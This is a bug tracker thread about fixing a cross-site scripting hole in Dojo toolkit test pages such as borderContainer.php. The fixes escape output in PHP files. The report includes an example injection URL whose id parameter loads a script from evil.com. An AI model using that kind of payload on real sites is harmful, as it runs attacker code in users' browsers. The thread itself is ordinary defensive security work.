borderContainer.php should not allow script attacks

[Douglas Hays]

We need to plug this security hole:

http://projecttests.customer.com/dojo1.7/dijit/tests/layout/borderContainer.php?id=<script src=http://evil.com/xss/hack.js></script>

[Revin Guillen]

In [26183]:

Plug script injection holes in a couple of tests, refs #13674

[Revin Guillen]

In [26184]:

Plug script injection hole in the _base timeout.php test, refs #13674

[Revin Guillen]

OK I fixed the places I found in tests where we sent unescaped input out to the browser. There are a few more PHP scripts in the toolkit that do it, in demos and util, but it wasn't clear whether those were really in scope here or what. I may have overstepped by fixing three files as it is.

These are all I have time for right this minute, so if somebody else wants to check those out, be my guest :-)

[Douglas Hays]

revin, thanks for fixing these. I also see
demos/uploader/UploadFile.php
docscripts/dumpObj.php
Are these the others that you saw? Maybe these should be fixed as well for completeness.

[Revin Guillen]

In [26607]:

Escape output for HTML, refs #13674

[Revin Guillen]

In [26609]:

Escape output for HTML, refs #13674